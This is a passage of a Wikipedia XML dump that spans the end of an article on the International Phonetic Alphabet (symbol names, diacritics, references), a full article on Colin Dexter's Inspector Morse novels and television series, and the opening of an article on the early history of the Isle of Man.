! style=&quot;width:2em;&quot; | !! IPA symbol name !! phonetic description !! Unicode name
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɑ}} || script A || [[open back unrounded vowel]] || LATIN SMALL LETTER ALPHA
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɡ}} || opentail G {{footnote|1}} || [[voiced velar plosive]] || LATIN SMALL LETTER SCRIPT G
|-
| style=&quot;text-align:center;&quot; | {{IPA|ʋ}} || cursive V {{footnote|2}} || [[labiodental approximant]] || LATIN SMALL LETTER V WITH HOOK
|}
'''Note'''
#The &quot;looptail G&quot; [[Image:Looptail g.PNG|10 px]] is not strictly an IPA character, but is an acceptable alternative.
#In form and origin, but not in name, this is the Greek upsilon.

Ligatures are called precisely that, although some have alternate names. Examples:

{| class=&quot;wikitable&quot;
! style=&quot;width:2em;&quot; | !! IPA symbol name !! phonetic description !! Unicode name
|-
| style=&quot;text-align:center;&quot; | {{IPA|œ}} || (lower-case) o-e ligature || [[open-mid front rounded vowel]] || LATIN SMALL LIGATURE OE
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɮ}} || L-Ezh ligature || [[voiced alveolar lateral fricative|voiced coronal lateral fricative]] || LATIN SMALL LETTER LEZH
|-
| style=&quot;text-align:center;&quot; | {{IPA|æ}} || [[Ash (letter)|ash]]; (lower-case) a-e ligature || [[near-open front unrounded vowel]] || LATIN SMALL LETTER AE
|}

Many letters are ''turned'', or rotated 180 degrees. Examples:

{| class=&quot;wikitable&quot;
! style=&quot;width:2em;&quot; | !! IPA symbol name !! phonetic description !! Unicode name
|-
| style=&quot;text-align:center;&quot; | {{IPA|ʎ}} || turned Y || [[palatal lateral approximant]] || LATIN SMALL LETTER TURNED Y
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɥ}} || turned H || [[labial-palatal approximant]] || LATIN SMALL LETTER TURNED H
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɒ}} || turned script A || [[open back rounded vowel]] || LATIN SMALL LETTER TURNED ALPHA
|-
| style=&quot;text-align:center;&quot; | {{IPA|ʌ}} || turned V || [[open-mid back unrounded vowel]] || LATIN SMALL TURNED V
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɔ}} || open O || [[open-mid back rounded vowel]] || LATIN SMALL LETTER OPEN O
|}

The symbol {{IPA|ɔ}} can be described as a ''turned cee'', but it is almost always referred to as ''open o'', which described both its articulation and its shape. The symbol {{IPA|ʌ}} is often also called &quot;[[caret]]&quot; or &quot;wedge&quot; for it similarity to that diacritic.

A few letters are ''reversed'' (flipped on a vertical axis): '''{{IPA|ɘ}}''' ''reversed E'', '''{{IPA|ɜ}}''' ''reversed epsilon'', '''{{IPA|ʕ}}''' ''reversed glottal stop'' [often called by its Arabic name, ''[[ayin]]'']. 

One letter is ''inverted'' (flipped on a horizontal axis): '''{{IPA|ʁ}}''' ''inverted R''. ('''{{IPA|ʍ}}''' could also be called an ''inverted double-u'', but ''turned double-u'' is more common.)

When a horizontal stroke is added, it is called a ''bar'': '''{{IPA|ħ}}''' ''barred H'', '''{{IPA|ɵ}}''' ''barred o'', '''{{IPA|ʢ}}''' ''reversed barred glottal stop'' or ''barred ayin'', '''{{IPA|ɟ}}''' ''barred dotless J'' or ''barred gelded J'' [apparently never 'turned F'], '''{{IPA|ǂ}}''' ''double-barred pipe'', etc.

One letter instead has a ''slash'' through it: '''{{IPA|ø}}''' ''slashed O''.

The implosives have ''hook'' tops: '''{{IPA|ɓ}}''' ''hook-top B'', as does '''{{IPA|ɦ}}''' ''hook-top H''.

Such an extension at the bottom of a letter is called a ''tail''. It may be specified as ''left'' or ''right'' depending on which direction it turns: '''{{IPA|ɳ}}''' ''right-tail N'', '''{{IPA|ɻ}}''' ''right-tail turned R'', '''{{IPA|ɲ}}''' ''left-tail N'' [note that '''{{IPA|ŋ}}''' has its own traditional name, ''[[engma]]''], '''{{IPA|ɱ}}''' ''left-tail em'', '''{{IPA|ʐ}}''' ''tail Z'' [or just ''retroflex Z''], etc.

When the tail loops over itself, it's called ''curly'': '''{{IPA|ʝ}}''' ''curly-tail jay'', '''{{IPA|ɕ}}''' ''curly-tail C''. 

There are also a few unique modifications: '''{{IPA|ɬ}}''' ''belted L'', '''{{IPA|ɞ}}''' ''closed reversed epsilon'' [there was once also a '''{{IPA|ɷ}}''' ''closed omega''], '''{{IPA|ɰ}}''' ''right-leg turned M'', '''{{IPA|ɺ}}''' ''turned long-leg R'' [there was once also a ''long-leg R''], '''{{IPA|ǁ}}''' ''double pipe'', and the obsolete '''{{IPA|ʗ}}''' ''stretched C''.

Several non-English letters have traditional names: '''{{IPA|ç}}''' ''C [[cedilla]]'', '''{{IPA|ð}}''' ''[[Eth (letter)|eth]]'' (also spelled ''edh''), '''{{IPA|ŋ}}''' ''[[engma]]'', '''{{IPA|ə}}''' ''[[schwa]]'', '''{{IPA|ǃ}}''' ''exclamation mark'', '''{{IPA|&lt;nowiki&gt;ǀ&lt;/nowiki&gt;}}''' ''pipe''.

Other symbols are unique to the IPA, and have developed their own quirky names: '''{{IPA|ɾ}}''' ''fish-hook R'', '''{{IPA|ɤ}}''' ''[[ram's horns]]'', '''{{IPA|ʘ}}''' ''[[bull's eye]]'', '''{{IPA|ʃ}}''' ''[[esh (letter)|esh]]'' [apparently never 'stretched ess'], '''{{IPA|ʒ}}''' ''[[ezh]]'' [sometimes also ''[[yogh]]''], '''{{IPA|ɧ}}''' ''hook-top heng''. 

The '''{{IPA|ʔ}}''' is usually called by the sound it represents, ''glottal stop''. This is not normally a problem, because this symbol is seldom used to represent anything else. However, to specify the symbol itself, it is sometimes called a ''gelded question mark''.

===The diacritic marks===
Diacritics with traditional names: 

:'''{{IPA|é}}''' ''[[Acute accent|acute]]'', '''{{IPA|ē}}''' ''[[macron]]'', '''{{IPA|è}}''' ''[[Grave accent|grave]]'', '''{{IPA|ê}}''' ''[[circumflex]]'', '''{{IPA|ě}}''' ''[[caron]], [[wedge]],'' or ''[[háček]]'', '''{{IPA|ë}}''' ''[[diaeresis]]'' or ''[[umlaut]]'', '''{{IPA|ĕ}}''' ''[[breve]]'', '''{{IPA|ẽ}}''' ''(superscript) [[tilde]]'', plus variants such as '''{{IPA|ḛ}}''' ''subscript tilde'', '''{{IPA|ɫ}}''' ''superimposed tilde'', etc. 

Non-traditional diacritics: 

:'''{{IPA|d̼}}''' ''seagull'', '''{{IPA|e˞}}''' ''hook'', '''{{IPA|e̽}}''' ''over-cross'', '''{{IPA|d ̚}}''' ''corner'', '''{{IPA|d̪}}''' ''bridge'', '''{{IPA|d̺}}''' ''inverted bridge'', '''{{IPA|d̻}}''' ''square'', '''{{IPA|e̥}}''' ''under-ring'', '''{{IPA|e̊}}''' ''over-ring'', '''{{IPA|e̜}}''' ''left half-ring'', '''{{IPA|e̹}}''' ''right half-ring'', '''{{IPA|e̟}}''' ''plus'', '''{{IPA|e̠}}''' ''under-bar'', '''{{IPA|e̯}}''' ''arch'', '''{{IPA|d̬}}''' ''subscript wedge'', '''{{IPA|e̝}}''' ''up tack'', '''{{IPA|e̞}}''' ''down tack'', '''{{IPA|e̘}}''' ''left tack'', '''{{IPA|e̙}}''' ''right tack'', '''{{IPA|d͡z}}''' ''tie bar'', '''{{IPA|ẹ}}''' ''under-dot'', '''{{IPA|n̩}}''' ''under-stroke''.

Diacritics are alternately named after their function: The bridge is also called the ''dental sign,'' the under-stroke the ''syllabicity sign,'' etc.

==Comparison to other phonetic notation==
The IPA is not the only phonetic transcription system in use. The other common Latin-based system is the [[Americanist phonetic notation]], devised for representing American languages, but used by some US linguists as an alternate to the IPA. There are also sets of symbols specific to [[Slavic languages|Slavic]], [[Indic languages|Indic]], [[Finno-Ugric languages|Finno-Ugric]], and [[Caucasian languages|Caucasian]] linguistics, as well as other regional specialies. The differences between these alphabets and IPA are relatively small, although often the special characters of the IPA are abandoned in favour of diacritics or digraphs. 

Other alphabets, such as [[Hangul]], may have their own phonetic extensions. There also exist featural phonetic transcription systems, such as [[Alexander Bell]]'s [[Visible Speech]] and its derivatives. 

There is an extended version of the IPA for [[Speech disorder|disordered speech]] (extIPA), which has been included in this article, and another set of symbols used for voice quality (VoQS). There are also many personal or idiosyncratic extensions, such as [[#External links|Luciano Canepari's ''&lt;sup&gt;&lt;small&gt;can&lt;/small&gt;&lt;/sup&gt;IPA'']].

Since the IPA uses symbols that are outside the [[ASCII]] character set, several systems have been developed that map the IPA symbols to ASCII characters. Two notable systems are [[Kirshenbaum]] and [[SAMPA]] (or [[X-SAMPA]]). These systems are often used in electronic media, although their usage has been declining with the development of computer technology, specifically because of spreading support for [[Unicode]].

See also: [[Unicode and HTML]]

==See also==
{{Commons|{{PAGENAME}}|{{PAGENAME}}}}
* [[International Phonetic Alphabet for English]] explains those IPA symbols used to represent the phonemes of English.
* [[IPA chart for English]]: simplifed version.
* [[Pronunciation respelling for English]]: overview of several pronunciation guide systems used in English dictionaries.
* [[Tipa|TIPA]] provides IPA support for [[LaTeX]].
* [[SAMPA]], [[X-SAMPA]] and [[Kirshenbaum]] are other methods of mapping IPA designations into [[ASCII]].
* [[List of phonetics topics]]
* [[Uralic Phonetic Alphabet]] (UPA)

==External links==
* [http://www2.arts.gla.ac.uk/IPA/ipa.html Official home page of the IPA]
* [http://cla.calpoly.edu/~jrubba/phon/learnipa.html Learning the IPA for English]
* [http://french.about.com/library/pronunciation/bl-ipa-french.htm French IPA characters]
===Free IPA font downloads===
*[http://scripts.sil.org/FontDownloadsGentium Gentium], a professionally designed international font (Latin, Greek, Cyrillic) in roman and italic typefaces that includes the IPA, but not yet tone letters or the new labiodental flap.
*[http://scripts.sil.org/CharisSILfont Charis SIL], a very complete international font (Latin, Greek, Cyrillic) in roman, italic, and bold typefaces that includes tone letters and pre-composed tone diacritics on IPA vowels, the new labiodental flap, and many non-standard phonetic symbols.
*[http://scripts.sil.org/DoulosSILfont Doulos SIL], a Times/Times New Roman style font. It contains the same characters as Charis SIL, but only in a single face, roman.
*[http://webmasterei.com/en/ipa/index SIL93] the legacy SIL IPA93 fonts (Manuscript and Sophia) recoded in Unicode.
*[http://www.travelphrases.info/gallery/Test_IPA.html Test page] for installed fonts. Includes alternate variants and tone letters.

===Keyboards===
* [http://www.linguiste.org/phonetics/ipa/chart/keyboard/ Online keyboard]
* [http://webmasterei.com/en/tools/ipa Online keyboard] and machine pronunciation
*[http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&amp;item_id=ipa-sil_keyboard Downloadable IPA-SIL keyboard layout for Mac OS X] for [[Unicode]] IPA input
* [http://wikisophia.org/wiki/Wikitex#Tipa WikiTeX] supports editing IPA sequences directly in Wiki articles.

===Sound files===
* [http://hctv.humnet.ucla.edu/departments/linguistics/VowelsandConsonants/index.html Peter Ladefoged's Course in Phonetics (with sound files)]
**[http://hctv.humnet.ucla.edu/departments/linguistics/VowelsandConsonants/course/chapter1/chapter1.html  Pronounceable IPA chart]
*[http://hctv.humnet.ucla.edu/departments/linguistics/VowelsandConsonants/vowels/contents.html An introduction to the sounds of languages]
* [http://web.uvic.ca/ling/resources/ipa/ipa-lab.htm IPA Lab] Chart with sound files at [[University of Victoria]].  (Works with [[QuickTime]].)
*[http://www.paulmeier.com/ipa/charts.html Flash version of IPA charts, with sound samples]
*[http://www.ling.hf.ntnu.no/ipa/full/ Another set of IPA sound samples]

===Charts===
* [http://www2.arts.gla.ac.uk/IPA/fullchart.html IPA chart source]
* [http://www.linguiste.org/phonetics/ipa/chart/ IPA Chart] in Unicode and XHTML/CSS

----
* [http://web.uvic.ca/ling/resources/ipa/charts/IPANumberChart96.pdf IPA number chart], at University of Victoria.
===Unicode===
Official Unicode PDF files:
*[http://www.unicode.org/charts/PDF/U0250.pdf Unicode chart for main IPA letters]
*[http://www.unicode.org/charts/PDF/U02B0.pdf Unicode chart for IPA modifier letters]
*[http://www.unicode.org/charts/PDF/U0300.pdf Unicode chart including IPA diacritics]
----
*[http://www.phon.ucl.ac.uk/home/wells/ipa-unicode.htm International Phonetic Alphabet in Unicode]
*[http://tlt.its.psu.edu/suggestions/international/bylanguage/ipachart.html Unicode-HTML codes for IPA symbols:]  Tables of symbol names and HTML codes at [[Pennsylvania State University|PennState]].

===Personal extensions of the IPA===
* [http://venus.unive.it/canipa/ ''&lt;sup&gt;&lt;small&gt;can&lt;/small&gt;&lt;/sup&gt;IPA''] : Luciano Canepari's system (500 base symbols)

==References==
* Albright, Robert W. (1958). ''The International Phonetic Alphabet: Its background and development''. International journal of American linguistics (Vol. 24, No. 1, Part 3); Indiana University research center in anthropology, folklore, and linguistics, publ. 7. Baltimore. (Doctoral dissertation, Stanford University, 1953).
* Ball, Martin J.; Esling, John H.; &amp; Dickson, B. Craig. (1995). The VoQS system for the transcription of voice quality. ''Journal of the International Phonetic Alphabet'', ''25'' (2), 71-80.
*Canepari, Luciano. (2005a). &quot;A Handbook of Phonetics: ‹Natural› Phonetics.&quot; München: Lincom Europa, pp. 518. [https://ssl.kundenserver.de/s83009615.einsundeinsshop.de/sess/utn1541a7584d7471b/shopdata/0002_New+titles/product_details.shopscript ISBN 3-8958-480-3] (hb).
*Canepari, Luciano. (2005b) &quot;A Handbook of Pronunciation: English, Italian, French, German, Spanish, Portuguese, Russian, Arabic, Hindi, Chinese, Japanese, Esperanto.&quot; München: Lincom Europa, pp. 436. [https://ssl.kundenserver.de/s83009615.einsundeinsshop.de/sess/utn1541a7584d7471b/shopdata/0002_New+titles/product_details.shopscript ISBN 3-89586-481-1] (hb).
* Duckworth, M.; Allen, G.; Hardcastle, W.; &amp; Ball, M. J. (1990). Extensions to the International Phonetic Alphabet for the transcription of atypical speech. ''Clinical Linguistics and Phonetics'', ''4'', 273-280.
* Ellis, Alexander J. (1869-1889). ''On early English pronunciation'' (Parts 1 &amp; 5). London: Philological Society by Asher &amp; Co.; London: Trübner &amp; Co.
* Hill, Kenneth C. (1988). [Review of ''Phonetic symbol guide'' by G. K. Pullum &amp; W. Ladusaw]. ''Language'', ''64'' (1), 143-144.
* Hultzen, Lee S. (1958). [Review of ''The International Phonetic Alphabet: Its backgrounds and development'' by R. W. Albright]. ''Language'', ''34'' (3), 438-442.
* International Phonetic Association. (1949). ''The principles of the International Phonetic Association, being a description of the International Phonetic Alphabet and the manner of using it, illustrated by texts in 51 languages''. London: University College, Department of Phonetics.
* International Phonetic Association. (1989). Report on the 1989 Kiel convention. ''Journal of the International Phonetic Association'', ''19'' (2), 67-80.
* International Phonetic Association. (1999). ''Handbook of the International Phonetic Association: A guide to the use of the International Phonetic Alphabet''. Cambridge: Cambridge University Press. ISBN 0-521-65236-7 (hb); ISBN 0-521-63751-1 (pb).
* Jespersen, Otto. (1889). ''The articulations of speech sounds represented by means of analphabetic symbols''. Marburg: Elwert.
* Jones, Daniel. (1989). ''English pronouncing dictionary'' (14 ed.). London: Dent.
* Kelly, John. (1981). The 1847 alphabet: An episode of phonotypy. In R. E. Asher &amp; E. J. A. Henderson (Eds.), ''Towards a history of phonetics''. Edinburgh: Edinburgh University Press.
* Kemp, J. Alan. (1994). Phonetic transcription: History. In R. E. Asher &amp; J. M. Y. Simpson (Eds.), ''The encyclopedia of language and linguistics'' (Vol. 6, pp. 3040-3051). Oxford: Pergamon.
* Ladefoged, Peter. (1990). The revised International Phonetic Alphabet.  ''Language'', ''66'' (3), 550-552.
* Ladefoged, Peter; &amp; Halle, Morris. (1988). Some major features of the International Phonetic Alphabet. ''Language'', ''64'' (3), 577-582.
* MacMahon, Michael K. C. (1996). Phonetic notation. In P. T. Daniels &amp; W. Bright (Ed.), ''The world's writing systems'' (pp. 821-846). New York: Oxford University Press. ISBN 0-19-507993-0.
* Passy, Paul. (1888). Our revised alphabet. ''The Phonetic Teacher'', 57-60.
* Pike, Kenneth L. (1943). ''Phonetics: A critical analysis of phonetic theory and a technic for the practical description of sounds''. Ann Arbor: University of Michigan Press.
* [[Geoffrey Pullum|Pullum, Geoffrey K.]]; &amp; Laduslaw, William A. (1986). ''Phonetic symbol guide''. Chicago: University of Chicago Press. ISBN 0-226-68532-2.
* Sweet, Henry. (1880-1881). Sound notation. ''Transactions of the Philological Society'', 177-235.
* Sweet, Henry. (1971). ''The indispensable foundation: A selection from the writings of Henry Sweet''. Henderson, Eugénie J. A. (Ed.). Language and language learning 28. London: Oxford University Press.
* Wells, John C. (1987). Computer-coded phonetic transcription. ''Journal of the International Phonetic Association'', ''17'', 94-114.

&lt;div class=&quot;boilerplate metadata&quot; style=&quot;font-size:smaller; background-color:#f3f9ff; padding:0 1em; border:1px solid #aaa;&quot;&gt;
==Technical note==
Most IPA symbols are not included in [[Times New Roman]], the default font for Latin scripts in [[Internet Explorer]] for Windows. To properly view IPA symbols in Internet Explorer for Windows, you must set your browser font to a typeface that includes the IPA extensions, such as [[Lucida Sans Unicode]], which comes with [[Windows XP]]; [[Gentium]], [[Charis (SIL)]], and [[Doulos (SIL)]], which are freely available (see links above); or [[Arial Unicode MS]], which comes with [[Microsoft Office]]. Alternatively, the style sheet could try using unicode-range specifications to note the gaps where Times does not have glyphs for IPA, Hawaiian [[Okina|‘okina]] (glottal stop), etc. and thus hopefully force the browser to check further down the list of fonts.

On this page, we have forced the browser to use such a font, so it should appear correctly, but this hasn't yet been done to all the other [[:category:pages containing IPA|pages containing IPA]]. This also applies to other pages using [[meta:Help:Special characters|special symbols]].  Bear this in mind if you see error symbols such as &quot;蚟&quot; in  articles.

Special symbols should display properly without further configuration with [[Mozilla Firefox]], [[Konqueror]], [[Opera (web browser)|Opera]], [[Safari (web browser)|Safari]] and most other recent browsers.
[[Category:Pages with special characters| ]]
&lt;/div&gt;

[[Category:Unicode]]
[[Category:Phonetic alphabets]]

{{Link FA|ro}}

[[als:IPA]]
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[[uk:Міжнародний фонетичний алфавіт]]
[[wa:Alfabet fonetike eternåcionå]]
[[zh:國際音標]]</text>
    </revision>
  </page>
  <page>
    <title>Inspector Morse</title>
    <id>14762</id>
    <revision>
      <id>41361576</id>
      <timestamp>2006-02-26T21:26:28Z</timestamp>
      <contributor>
        <username>Tonywalton</username>
        <id>352017</id>
      </contributor>
      <minor />
      <comment>/* Television series */</comment>
      <text xml:space="preserve">Detective Chief Inspector '''Endeavour Morse''' is a [[fictional character]], who features in a series of thirteen [[detective novel]]s by [[United Kingdom|British]] [[author]] [[Colin Dexter]], though he is better known for the [[Television|TV]] series produced by Central Independent Television from 1987–2000. Morse is a senior [[Criminal Investigation Department|CID]] (Criminal Investigation Department) officer with the [[Thames Valley Police]] in [[Oxford]], England.

{{spoiler}}

==Novels==
It is primarily the personality of the main character that makes the Inspector Morse novels so successful. With his beautiful [[Jaguar_Mark_2|vintage Mark 2 Jaguar]] car (originally a [[Lancia]]), thirst for [[beer]], intellectual snobbery, and penchant for [[Richard Wagner|Wagner]], he is a likeable person despite his sullen temperament. He also dislikes spelling errors and grammatical mistakes. This is demonstrated by the fact that in every personal or private document written to him, he manages to point out at least one spelling mistake.

Dexter is a fan of [[cryptic crossword]]s, and Inspector Morse is named after champion solver Sir [[Jeremy Morse]]. In every novel the surname of the killer is taken from those of winners of the weekly [[Azed]] solving competition that appears in ''[[The Observer]]''. Indeed, Dexter now writes a weekly &quot;how to solve cryptic crosswords&quot; column in the Observer's sister paper [[The Guardian]]. Morse's first name was kept a secret until the end of ''Death is Now My Neighbour'' (traditionally Morse claimed that he should be called 'Morse' or jokingly that his first name was 'Inspector'). The origin of his name is the vessel [[HM Bark Endeavour]], as Morse's father was a [[Religious Society of Friends|Quaker]] (Quakers have a tradition of &quot;virtue names&quot;) and a fan of [[James Cook|Captain James Cook]].

The titles of the books are:
[[Image:Last Bus To Woodstock.jpg|right|150px|]]
* ''Last Bus to Woodstock'', [[1975]]
* ''Last Seen Wearing'', [[1976]]
* ''Silent World of Nicholas Quinn'', [[1977]]
* ''Service of All the Dead'', [[1979]]
* ''The Dead of Jericho'', [[1981]]
* ''The Riddle of the Third Mile'', [[1983]]
* ''The Secret of Annexe 3'', [[1986]]
* ''The Wench is Dead'', [[1989]]
* ''The Jewel That Was Ours'', [[1991]]
* ''The Way Through the Woods'', [[1992]]
* ''The Daughters of Cain'', [[1994]]
* ''Death is Now My Neighbour'', [[1996]]
* ''The Remorseful Day'', [[2000]]

Inspector Morse also appears in several stories in Dexter's short story collection, ''Morse's Greatest Mystery and Other Stories'' ([[1993]], expanded edition [[1994]]).

Dexter killed Morse in his last book, and has thus far shown no sign of resurrecting him&amp;mdash;unlike [[Arthur Conan Doyle]], who killed his main character only to bring him back to life. Morse dies in a hospital bed from complications of his neglected [[type 2 diabetes]]&amp;mdash;his diabetes is mentioned repeatedly in the later books, and is one of the more realistic treatments of this disease in fiction.

==Television series==

The Inspector Morse novels have been made into a very successful [[TV series]] (also called ''Inspector Morse'') for the British TV channel [[ITV]]. The series was made by Zenith Productions for [[Central Independent Television|Central]] (a company later acquired by [[Carlton Television|Carlton]]). The series comprises 33 two-hour episodes (100 minutes excluding commercials)&amp;mdash;twenty more episodes than there are novels&amp;mdash;produced between [[1987]] and [[2000]]. The final episode was adapted from the final novel.

[[Image:Inspector Morse.jpg|thumb|right|250px|John Thaw (left) and Kevin Whately (right) as Morse and Lewis]]
The Inspector himself was played by [[John Thaw]] and the faithful Detective Sergeant Lewis by [[Kevin Whately]]. Dexter makes a [[cameo appearance]] in all but three of the episodes. The series remains popular and is frequently repeated on [[ITV]]1 and [[ITV3]] in Britain; in the United States, reruns (often edited to allow additional commercials) regularly appear on a cable network, The Biography Channel, while the uncut versions have been shown on the [[PBS]] show [[Mystery!]]. The series has been issued as cut-price [[VHS|video cassettes]] and [[DVD]]s containing one episode each, together with magazine-size booklets giving background information on each episode, and as a series of 17 double DVDs containing two episodes each (the last disc contains one episode and a two-hour retrospective).

John Thaw had a special appreciation of the fact that Morse was different from classic characters such as [[James Bond]] and [[Sherlock Holmes (character)|Sherlock Holmes]]. Morse was brilliant but he wasn't always right. He often arrested the wrong person or came to the wrong conclusion. As a result, unlike many classic sleuths, Morse does not always simply &quot;[[bust]]&quot; his culprit; ironic circumstances have the case end and the crime brought to him. Also, Morse was a romantic but had little success in meeting women.

It could be argued that Morse was more akin not to the archetype of [[Sherlock Holmes]] but to that of Holmes' older brother, [[Mycroft Holmes]]. Like Mycroft, Morse was lethargic, mainly due to his sedentary lifestyle, and seemed like a man whose talents and intelligence were being wasted in positions that hardly matched his talents, i.e., Morse would have been promoted beyond chief inspector at Thames CID, but has an apparent lack of career ambition to follow through despite his intelligence and Oxford connections. 

However, Morse also has qualities that make him different from Mycroft and therefore allow him to be a believable detective. His penchant for drinking, his life filled with difficult personal relationships, and his negligence with his health, however, make him a more tragic character than previous classic sleuths.

John Thaw portrayed these characteristics of Morse with superb skill; however, this may have been in part to the alcoholism that plagued his later life, up to one year before his death.

===List===
The titles of the television episodes are:
* 1st Series, [[1987]]:
** 1. ''The Dead of Jericho''
** 2. ''The Silent World of Nicholas Quinn''
** 3. ''Service of All the Dead''

* 2nd Series, [[1988]]:
** 4. ''The Wolvercote Tongue''
** 5. ''Last Seen Wearing''
** 6. ''The Settling of the Sun''
** 7. ''Last Bus to Woodstock''

* 3rd Series, [[1989]]:
** 8. ''Ghost in the Machine''
** 9. ''The Last Enemy''
** 10. ''Deceived by Flight''
** 11. ''The Secret of Bay 5B''

* 4th Series, [[1990]]:
** 12. ''Infernal Serpent''
** 13. ''The Sins of the Fathers''
** 14. ''Driven to Distraction''
** 15. ''Masonic Mysteries''

* 5th Series, [[1991]]:
** 16. ''Second Time Around''
** 17. ''Fat Chance''
** 18. ''Who Killed Harry Field?''
** 19. ''Greeks Bearing Gifts''
** 20. ''Promised Land'', also known as ''Inspector Morse in Australia''

* 6th Series, [[1992]]:
** 21. ''Dead on Time''
** 22. ''Happy Families''
** 23. ''The Death of the Self''
** 24. ''Absolute Conviction''
** 25. ''Cherubim and Seraphim''

* 7th Series, [[1993]]:
** 26. ''Deadly Slumber''
** 27. ''The Day of the Devil''
** 28. ''Twilight of the Gods''

* Specials, [[1995]]&amp;ndash;[[2000]]:
** 29. ''The Way Through the Woods''
** 30. ''The Daughters of Cain''
** 31. ''Death Is Now My Neighbour''
** 32. ''The Wench Is Dead''
** 33. ''The Remorseful Day''

===Music===
The theme and incidental music for the series was written by [[Barrington Pheloung]] and utilises a [[motif]] based on the [[Morse code]] for &quot;M.O.R.S.E.&quot; ('''-- --- ·-· ··· ·''').

According to Pheloung, he had spelled out the name of the killer in Morse code to tell you who did it, and has purposely spelled out someone else to throw you off.

That the makers of the series took great care in the choice of [[European classical music|classical music]] excerpts as additional incidental music{{ref|morse-1}}, reflects in the fact that several collections of &quot;music from the Morse series&quot; recordings were published successfully.

The TV series and the CD's play some of Morse's favorites, [[Mozart]], [[Schubert]], and of course [[Richard Wagner|Wagner]].

#{{note|morse-1}} In &lt;i&gt;Driven to Distraction,&lt;/i&gt; Morse is listening to a cassette playing the end of the Prelude from the first Bach 'Cello Suite.  Sgt. Maitland asks to hear the other side of the cassette.  The start of Prelude plays — making the cassette about two minutes total, with half the Prelude on each side.

===Spinoff series===

A pilot episode, ''[[Lewis (television)|Lewis]]'', starring [[Kevin Whately]] as the now-promoted Inspector Lewis went into production in [[July 2005]]. This pilot was broadcast on ITV on [[29 January]] [[2006]].

== Trivia ==

In November [[2005]], the [[Jaguar Mark 2]] car used in the television series sold for more than GBP 100,000 [http://news.bbc.co.uk/1/hi/entertainment/4485816.stm].

==External links==
* [http://www.inspectormorse.co.uk/ Official Inspector Morse Website]
* [http://www.chem.ox.ac.uk/oxfordtour/morses%5Foxford/ Morse's Oxford Online Tour (created by Oxford University)]
* [http://www.morsemania.co.uk/ Morse Mania]
* [http://epguides.com/InspectorMorse/guide.shtml Morse episode guide]
* [http://www.detective-fiction.com/ Detective Fiction Books]
* [http://www.museum.tv/archives/etv/I/htmlI/inspectormor/inspectormor.htm Encyclopedia of Television]
* [http://www.screenonline.org.uk/tv/id/523493/index.html British Film Institute Screen Online]

[[Category:Crime television series|Morse]]
[[Category:Fictional detectives|Morse, Endeavour]]
[[Category:ITV television programmes]]
[[Category:Series of books]]
[[Category:Television programs based on novels]]
[[Category:Fictional police officers|Morse, Endeavour]]

[[fr:Inspecteur Morse (série télévisée)]]
[[nl:Inspector Morse]]
[[no:Inspektør Morse]]
[[sv:Kommissarie Morse]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Isle of Man</title>
    <id>14763</id>
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      <id>41314286</id>
      <timestamp>2006-02-26T14:11:09Z</timestamp>
      <contributor>
        <ip>195.10.104.78</ip>
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      <comment>/* Brythonic Dominence */</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}
The '''history of the [[Isle of Man]]''' falls naturally into four periods. In the first of these a [[Brythonic]] people inhabited the island. The next period features the [[Viking]] invasions and the establishment of [[Scandinavia]]n rule. The third period comprises [[England | English]] dominion. Since [[1866]] the island has had an increasing measure of [[Devolution|home rule]]. 

==Brythonic Dominence==

The secular history of the Isle of Man during the Brythonic period remains mysterious: we have no surviving trustworthy record of any event whatever before the incursions of the Northmen, since the exploits attributed to Baetan MacCairill, king of [[Ulster]], at the end of the 6th century, formally supposed to have taken place in the Isle of Man, really occurred in the country between the Firths of [[Firth of Clyde | Clyde]] and [[Firth of Forth | Forth]]. Even if the supposed conquest of the Menavian islands -- Man and [[Anglesey]] -- by [[Edwin of Northumbria]], in [[616]], did take place, it could not have led to any permanent results; for, when the English were driven from the coasts of [[Cumberland, England|Cumberland]] and [[Lancashire]] soon afterwards, they could not well have retained their hold on the island to the west of these coasts. One can speculate, however, that when [[Ecgfrith of Northumbria | Ecfrid]]'s Northumbrians laid Ireland waste from Dublin to [[Drogheda]] in 684, they temporarily occupied Man.

In the later part of the first millennium AD colonists from Ireland settled in Man. [[Manx language|Manx]], a [[Goidelic languages|Goidelic language]], provides the main evidence of this; earlier evidence suggests that a [[Welsh language | Welsh]]-speaking people lived there. One big historical argument addresses whether the present Manx language survived from pre-Norse days, or whether it reflects a linguistic reintroduction after the Norse invasion.

Evidence may yet be forthcoming to shed further light on this area of debate from the study of the landscape, place names and land tenure.

Tradition attributes the island's conversion to Christianity to St Maughold (Maccul), an Irish missionary who gives his name to a parish. The island's name derives from ''[[Manannan | Mannanan]]'', the Brythonic and Gaelic equivalent of [[Poseidon|Neptune]].

==Scandinavian dominance==

During the period of Scandinavian domination there are two main epochs -- one before the conquest of Man by [[Godred Crovan]] in [[1079]], and the other after it. Warfare and unsettled rule characterise the earlier epoch; the later saw comparatively more peace. 

Between about A.D. 800 and 815 the Vikings came to Man chiefly for plunder; between about 850 and 990, when they settled in it, the island fell under the rule of the Scandinavian kings of [[Dublin]]; and between 990 and 1079, it became subject to the powerful [[Earl of Orkney | earl]]s of [[Orkney]]. 

There was a mint producing coins on Man between c.1025 and c.1065. These Manx coins were minted from an imported type 2 [[Hiberno-Norse]] penny die from [[Dublin]]. Hiberno-Norse coins were first minted under Sihtric, king of Dublin. This illustrates that Man may have in fact been under the thumb of Dublin at this time.

The conqueror Godred Crovan was evidently a remarkable man, though little information about him is attainable. According to the ''Chronicon Manniae'' he subdued Dublin, and a great part of [[Leinster]], and held the Scots in such subjection that no one who built a vessel dared to insert more than three bolts. The memory of such a ruler would be likely to survive in tradition, and it seems probable therefore that he is the person commemorated in Manx legend under the name of King Gorse or Orry. The islands which were under his rule were called the ''Sullr-eyjar'' (Sudreys or the south isles, in contradistinction to the ''Norsr-eyjar'', or the &quot;north isles,&quot; i.e. the Orkneys and [[Shetland Islands|Shetlands]], and they consisted of the [[Hebrides]], and of all the smaller western islands of [[Scotland]], with Man. At a later date his successors took the title of ''Rex Manniae et Insularum'' ([[List of Kings of the Isle of Man and the Isles|King of Man and the Isles]]). 

